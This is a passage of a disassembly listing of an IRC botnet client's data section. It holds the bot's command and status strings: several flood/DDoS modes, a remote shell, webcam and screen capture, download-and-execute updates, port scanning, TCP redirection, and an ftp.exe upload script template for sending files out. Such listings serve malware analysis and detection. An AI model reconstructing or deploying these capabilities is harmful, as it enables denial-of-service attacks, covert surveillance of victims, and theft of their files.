		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPasswordAccept	db 'Password accepted.',0
		align 10h
unk_429B80	db  2Dh	; -		; DATA XREF: sub_401ACD+7E8Co
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedHostAuth	db '*Failed host auth by: (%s!%s).',0
		align 4
aNoticeSHostAut	db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7E63o
		align 4
unk_429BD4	db  2Dh	; -		; DATA XREF: sub_401ACD+7E25o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedPassAuth	db '*Failed pass auth by: (%s!%s).',0
		align 10h
aNoticeSYourAtt	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7E13o
					; sub_401ACD+7E7Ao
		align 4
aNoticeSPassAut	db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7DFCo
		align 4
asc_429C54:				; DATA XREF: sub_401ACD+7DCCo
		unicode	0, <~>,0
unk_429C58	db  2Dh	; -		; DATA XREF: sub_401ACD+7D7Co
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRandomNickChan	db 'Random nick change: %s',0
		align 4
unk_429C7C	db  2Dh	; -		; DATA XREF: sub_401ACD+7D0Co
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnectingIn	db 'Reconnecting in %s seconds',0
		align 4
unk_429CA4	db  2Dh	; -		; DATA XREF: sub_401ACD+7CC4o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnecting_0	db 'Reconnecting in %s ms',0
		align 4
unk_429CC8	db  2Dh	; -		; DATA XREF: sub_401ACD+7CA2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNickChangedToS	db 'Nick changed to: ',27h,'%s',27h,'.',0
		align 4
unk_429CEC	db  2Dh	; -		; DATA XREF: sub_401ACD+7C82o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChannelS	db 'Joined channel: ',27h,'%s',27h,'.',0
		align 10h
unk_429D10	db  2Dh	; -		; DATA XREF: sub_401ACD+7C5Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPartedChannelS	db 'Parted channel: ',27h,'%s',27h,'.',0
		align 4
dword_429D34	dd 234032Dh, 6E69616Dh,	202D0302h, 20435249h, 3A776152h
					; DATA XREF: sub_401ACD+7C3Bo
		dd 2E732520h, 0
unk_429D50	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409685o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToKillTh	db '- Failed to kill thread: %s.',0
		align 4
unk_429D7C	db  2Dh	; -		; DATA XREF: sub_401ACD+7BB1o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aKilledThreadS_	db '- Killed thread: %s.',0
		align 10h
unk_429DA0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4095FDo
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aNoActiveThread	db '- No active threads found.',0
unk_429DC8	db  2Dh	; -		; DATA XREF: sub_401ACD+7B26o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aStoppedDThread	db '- Stopped: %d thread(s).',0
		align 10h
aAll		db 'all',0              ; DATA XREF: sub_401ACD+7B0Co
unk_429DF4	db  2Dh	; -		; DATA XREF: sub_401ACD+79FFo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrefixChangedT	db 'Prefix changed to: ',27h,'%c',27h,'.',0
		align 4
unk_429E1C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4094B3o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aCouldnTOpenFil	db ' Couldn',27h,'t open file: %s',0
unk_429E40	db  2Dh	; -		; DATA XREF: sub_401ACD+79DCo
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFileOpenedS	db ' File opened: %s',0
		align 10h
unk_429E60	db  2Dh	; -		; DATA XREF: sub_401ACD+79B8o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aServerChangedT	db 'Server changed to: ',27h,'%s',27h,'.',0
		align 4
unk_429E88	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409468o
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aCouldnTResol_0	db '- Couldn',27h,'t resolve hostname.',0
		align 10h
unk_429EB0	db  2Dh	; -		; DATA XREF: sub_401ACD+796Do
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aLookupSS_	db '- Lookup: %s -> %s.',0
		align 10h
unk_429ED0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4093FDo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTermin	db ' Failed to terminate process: %s',0
		align 10h
unk_429F00	db  2Dh	; -		; DATA XREF: sub_401ACD+7926o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledS	db ' Process killed: %s',0
unk_429F20	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409399o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTerm_0	db ' Failed to terminate process ID: %s',0
unk_429F50	db  2Dh	; -		; DATA XREF: sub_401ACD+78C5o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledI	db ' Process killed ID: %s',0
		align 4
dword_429F74	dd 234032Dh, 656C6966h,	202D0302h, 656C6544h, 20646574h
					; DATA XREF: sub_401ACD+7885o
		dd 27732527h, 2Eh
unk_429F90	db  2Dh	; -		; DATA XREF: sub_401ACD+7803o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aSendFileSUserS	db '- Send File: %s, User: %s.',0
dword_429FB4	dd 234032Dh, 656C6966h,	202D0302h, 7473694Ch, 7325203Ah
					; DATA XREF: sub_401ACD+7786o
		dd 0
unk_429FCC	db  2Dh	; -		; DATA XREF: sub_401ACD+7755o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToStartC	db ' Failed to start connection thread, error: <%d>.',0
		align 4
dword_42A00C	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 7325203Ah
					; DATA XREF: sub_401ACD+76E6o
		dd 2Eh
dword_42A024	dd 234032Dh, 6372696Dh,	202D0302h, 6D6D6F43h, 20646E61h
					; DATA XREF: sub_401ACD:loc_409140o
		dd 746E6573h, 2Eh
unk_42A040	db  2Dh	; -		; DATA XREF: sub_401ACD+766Co
		db 3, 34h, 2
		db  6Dh	; m
		db 69h,	72h, 63h
		db    2
		db 3, 2Dh, 20h
aClientNotOpen_	db 'Client not open.',0
		align 10h
dword_42A060	dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
					; DATA XREF: sub_401ACD+7630o
		dd 732520h
unk_42A078	db  2Dh	; -		; DATA XREF: sub_401ACD+7611o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aErrorSendingTo	db '- Error sending to remote shell.',0
		align 4
asc_42A0A4:				; DATA XREF: sub_401ACD+75F9o
					; sub_40F6B4+FBo ...
		dw 0Ah
		unicode	0, <>,0
unk_42A0A8	db  2Dh	; -		; DATA XREF: sub_401ACD+75CFo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileFailed	db 'Read file failed: %s',0
		align 4
unk_42A0CC	db  2Dh	; -		; DATA XREF: sub_401ACD+75C2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileComple	db 'Read file complete: %s',0
		align 10h
unk_42A0F0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40901Fo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_0	db '- Invalid parameters for amateur video capture.',0
		align 10h
unk_42A130	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409015o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCapt	db '- Error while capturing amateur video from webcam.',0
unk_42A170	db  2Dh	; -		; DATA XREF: sub_401ACD+753Eo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aAmateurVideoSa	db '- Amateur video saved to: %s.',0
		align 4
aVideo		db 'video',0            ; DATA XREF: sub_401ACD:loc_408F87o
		align 4
unk_42A1A4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408F74o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_1	db '- Invalid parameters for webcam capture.',0
		align 4
unk_42A1DC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408F6Do
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_0	db '- Error while capturing from webcam.',0
		align 10h
unk_42A210	db  2Dh	; -		; DATA XREF: sub_401ACD+7490o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aWebcamCaptureS	db '- Webcam capture saved to: %s.',0
aFrame		db 'frame',0            ; DATA XREF: sub_401ACD:loc_408EE6o
		align 4
unk_42A244	db  2Dh	; -		; DATA XREF: sub_401ACD+740Co
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverListComp	db '- Driver list complete.',0
		align 4
unk_42A26C	db  2Dh	; -		; DATA XREF: sub_401ACD+73D9o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverDSS_	db '- Driver #%d - %s - %s.',0
		align 4
aDrivers	db 'drivers',0          ; DATA XREF: sub_401ACD:loc_408E59o
unk_42A29C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408E46o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aNoFilenameSpec	db '- No filename specified for screen capture.',0
		align 4
unk_42A2D8	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408E3Fo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_1	db '- Error while capturing screen.',0
		align 4
unk_42A308	db  2Dh	; -		; DATA XREF: sub_401ACD+7362o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aScreenCaptureS	db '- Screen capture saved to: %s.',0
aScreen		db 'screen',0           ; DATA XREF: sub_401ACD:loc_408DFEo
		align 4
dword_42A33C	dd 234032Dh, 6E69616Dh,	202D0302h, 68746547h, 3A74736Fh
					; DATA XREF: sub_401ACD+7319o
		dd 2E732520h, 0
unk_42A358	db  2Dh	; -		; DATA XREF: sub_401ACD+72D3o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUnableToExtrac	db 'Unable to extract Gethost command.',0
		align 4
unk_42A388	db  2Dh	; -		; DATA XREF: sub_401ACD+72B7o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aGethostSComman	db 'Gethost: %s, Command: %s',0
		align 10h
unk_42A3B0	db  2Dh	; -		; DATA XREF: sub_401ACD+720Ao
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAliasAddedS_	db 'Alias added: %s.',0
		align 10h
unk_42A3D0	db  2Dh	; -		; DATA XREF: sub_401ACD+71D6o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrivmsgSS_	db 'Privmsg: %s: %s.',0
		align 10h
unk_42A3F0	db  2Dh	; -		; DATA XREF: sub_401ACD+7181o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aActionSS_	db 'Action: %s: %s.',0
dword_42A40C	dd 234032Dh, 6E69616Dh,	202D0302h, 6C637943h, 2E65h
					; DATA XREF: sub_401ACD+710Fo
dword_42A420	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+70D5o
					; sub_401ACD+7C48o
unk_42A42C	db  2Dh	; -		; DATA XREF: sub_401ACD+70B0o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aModeChangeS	db 'Mode change: %s',0
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+709Fo
		align 4
dword_42A454	dd 234032Dh, 6E6F6C63h,	2D030265h, 77615220h, 73252820h
					; DATA XREF: sub_401ACD+7074o
		dd 25203A29h, 73h
dword_42A470	dd 234032Dh, 6E6F6C63h,	2D030265h, 646F4D20h, 25282065h
					; DATA XREF: sub_401ACD+7005o
		dd 203A2973h, 7325h
dword_42A48C	dd 45444F4Dh, 732520h	; DATA XREF: sub_401ACD+6FAAo
dword_42A494	dd 234032Dh, 6E6F6C63h,	2D030265h, 63694E20h, 2528206Bh
					; DATA XREF: sub_401ACD+6F7Ao
		dd 203A2973h, 7325h
dword_42A4B0	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6F01o
dword_42A4BC	dd 0A0D7325h, 0		; DATA XREF: sub_401ACD+6ECFo
					; sub_401ACD+6F58o ...
dword_42A4C4	dd 54524150h, 732520h	; DATA XREF: sub_401ACD+6E96o
dword_42A4CC	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6E85o
aFailedToStartF	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42A508	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6E16o
aFloodingSForSS	db '- Flooding %s for %s seconds.',0
		align 4
unk_42A534	db  2Dh	; -		; DATA XREF: sub_401ACD+6D86o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aFailedToStar_0	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A570	db  2Dh	; -		; DATA XREF: sub_401ACD+6D1Bo
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aTsunamiHeading	db '- Tsunami heading for %s (%s seconds).',0
unk_42A5A4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408746o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRepeatNotAllow	db 'Repeat not allowed in command line: %s',0
		align 4
dword_42A5D8	dd 234032Dh, 6E69616Dh,	202D0302h, 65706552h, 203A7461h
					; DATA XREF: sub_401ACD+6C3Eo
		dd 7325h
dword_42A5F0	dd 234032Dh, 6E69616Dh,	202D0302h, 616C6544h, 2E79h
					; DATA XREF: sub_401ACD:loc_408674o
dword_42A604	dd 25207325h, 73252073h, 73253A20h, 0 ;	DATA XREF: sub_401ACD+6B63o
					; sub_401ACD+6C15o ...
dword_42A614	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD:loc_4085D1o
aBotIdMustBeDif	db '- Bot ID must be different than current running process.',0
		align 4
dword_42A65C	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD+6AFAo
aFailedToStartD	db '- Failed to start download thread, error: <%d>.',0
dword_42A698	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD+6A8Bo
aDownloadingUpd	db '- Downloading update from: %s.',0
		align 4
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_401ACD+69E3o
		align 10h
dword_42A6D0	dd 234032Dh, 63657865h,	202D0302h, 6D6D6F43h, 73646E61h
					; DATA XREF: sub_401ACD+6981o
		dd 7325203Ah, 0
unk_42A6EC	db  2Dh	; -		; DATA XREF: sub_401ACD+6976o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	65h, 63h
		db    2
		db 3, 2Dh, 20h
aCouldnTExecute	db 'Couldn',27h,'t execute file.',0
		align 10h
unk_42A710	db  2Dh	; -		; DATA XREF: sub_401ACD+68DCo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_1	db 'Failed to start search thread, error: <%d>.',0
unk_42A74C	db  2Dh	; -		; DATA XREF: sub_401ACD+6866o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingForFi	db 'Searching for file: %s in: %s.',0
		align 4
dword_42A77C	dd 234032Dh, 656C6966h,	2D0302h	; DATA XREF: sub_401ACD:loc_40826Co
					; sub_401ACD:loc_409367o
unk_42A788	db  2Dh	; -		; DATA XREF: sub_401ACD+678Ao
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aRenameSToS_	db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 4
unk_42A7AC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408235o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidFloodTi	db 'Invalid flood time must be greater than 0.',0
		align 4
unk_42A7E4	db  2Dh	; -		; DATA XREF: sub_401ACD+675Eo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_2	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A81C	db  2Dh	; -		; DATA XREF: sub_401ACD+66EEo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_0	db 'Flooding: (%s) for %s seconds.',0
		align 4
dword_42A848	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+666Bo
aFailedToStar_3	db '- Failed to start clone thread, error: <%d>.',0
		align 4
dword_42A884	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+65FCo
aCreatedOnSDInC	db '- Created on %s:%d, in channel %s.',0
		align 4
unk_42A8B4	db  2Dh	; -		; DATA XREF: sub_401ACD+6583o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_4	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A8EC	db  2Dh	; -		; DATA XREF: sub_401ACD+6514o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFloodingSSForS	db 'Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_42A91C	db  2Dh	; -		; DATA XREF: sub_401ACD+648Ao
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFailedToStar_5	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A954	db  2Dh	; -		; DATA XREF: sub_401ACD+641Bo
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFloodingSSFo_0	db '- Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_42A984	db  2Dh	; -		; DATA XREF: sub_401ACD+63A2o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_6	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A9BC	db  2Dh	; -		; DATA XREF: sub_401ACD+6333o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_1	db 'Flooding %s for %s seconds using delay %s ms.',0
		align 4
unk_42A9F8	db  2Dh	; -		; DATA XREF: sub_401ACD+62BAo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToStartT	db 'Failed to start transfer thread, error: <%d>.',0
		align 4
unk_42AA38	db  2Dh	; -		; DATA XREF: sub_401ACD+624Bo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadingUrl	db 'Downloading URL: %s to: %s.',0
unk_42AA64	db  2Dh	; -		; DATA XREF: sub_401ACD+617Co
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToStartR	db 'Failed to start redirection thread, error: <%d>.',0
		align 4
unk_42AAA8	db  2Dh	; -		; DATA XREF: sub_401ACD+610Do
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aTcpRedirectCre	db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_42AAE4	db  2Dh	; -		; DATA XREF: sub_401ACD+6010o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStarte	db 'Port scan started: %s:%d with delay: %d(ms).',0
		align 10h
aSSS_1		db '[%s] <%s> %s',0     ; DATA XREF: sub_401ACD+5F64o
		align 10h
aSSS_2		db '[%s] * %s %s',0     ; DATA XREF: sub_401ACD+5E87o
		align 10h
dword_42AB40	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_401ACD+5DF3o
					; sub_401ACD+715Bo
unk_42AB4C	db  2Dh	; -		; DATA XREF: sub_401ACD+5D8Fo
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_7	db 'Failed to start scan thread, error: <%d>.',0
		align 4
unk_42AB88	db  2Dh	; -		; DATA XREF: sub_401ACD+5D20o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStar_0	db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
		align 4
unk_42ABD8	db  2Dh	; -		; DATA XREF: sub_401ACD+5C89o
					; sub_401ACD+607Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_8	db 'Failed to start scan thread, error: <%d>.',0
		align 10h
unk_42AC10	db  2Dh	; -		; DATA XREF: sub_401ACD+5C1Ao
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSPortScanStart	db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m'
		db 'inutes using %d threads.',0
		align 4
unk_42AC78	db  2Dh	; -		; DATA XREF: sub_401ACD+5AA4o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_9	db 'Failed to start scan, no IP specified.',0
		align 4
unk_42ACAC	db  2Dh	; -		; DATA XREF: sub_401ACD+5A47o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_10	db 'Failed to start scan, port is invalid.',0
		align 10h
unk_42ACE0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4073F4o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFileS	db '- Uploading file: %s to: %s failed.',0
		align 10h
unk_42AD10	db  2Dh	; -		; DATA XREF: sub_401ACD+5920o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFil_0	db '- Uploading file: %s to: %s',0
		align 4
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_401ACD+5907o
aSS_2		db '-s:%s',0            ; DATA XREF: sub_401ACD+58F0o
		align 4
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_401ACD+58CDo
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
aAb		db 'ab',0               ; DATA XREF: sub_401ACD+58A9o
					; ___:00411C62o
		align 10h
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_401ACD+5898o
		align 10h
unk_42AD80	db  2Dh	; -		; DATA XREF: sub_401ACD+584Eo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aFileNotFoundS_	db '- File not found: %s.',0
		align 10h
aUpload		db 'upload',0           ; DATA XREF: sub_401ACD+582Bo
		align 4
unk_42ADA8	db  2Dh	; -		; DATA XREF: sub_401ACD+57F5o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAlreadyDScanni	db 'Already %d scanning threads. Too many specified.',0
		align 4
unk_42ADE8	db  2Dh	; -		; DATA XREF: sub_401ACD+5798o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFailedToSta_11	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42AE20	db  2Dh	; -		; DATA XREF: sub_401ACD+572Do
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aSendingDPacket	db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
unk_42AE68	db  2Dh	; -		; DATA XREF: sub_401ACD+567Co
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aMessageHasBeen	db '- Message has been sent successfuly',0
		align 4
unk_42AE9C	db  2Dh	; -		; DATA XREF: sub_401ACD+5648o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aFailedToSendMe	db '- Failed to send message, error <%i>.',0
		align 10h
unk_42AED0	db  2Dh	; -		; DATA XREF: sub_401ACD+5624o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aNetsendDoesNot	db '- NetSend does not work on Win9x systems',0
		align 4
unk_42AF08	db  2Dh	; -		; DATA XREF: sub_401ACD+5582o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aSendingMessage	db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5565o
		align 4
unk_42AF5C	db  2Dh	; -		; DATA XREF: sub_401ACD+5550o
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_12	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42AF94	db  2Dh	; -		; DATA XREF: sub_401ACD+54E1o
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aSendingDPingsT	db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 4
unk_42AFDC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406F00o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFlood_0	db '- Invalid flood time must be greater than 0.',0
		align 4
unk_42B014	db  2Dh	; -		; DATA XREF: sub_401ACD+5429o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aFailedToSta_13	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42B04C	db  2Dh	; -		; DATA XREF: sub_401ACD+53AFo
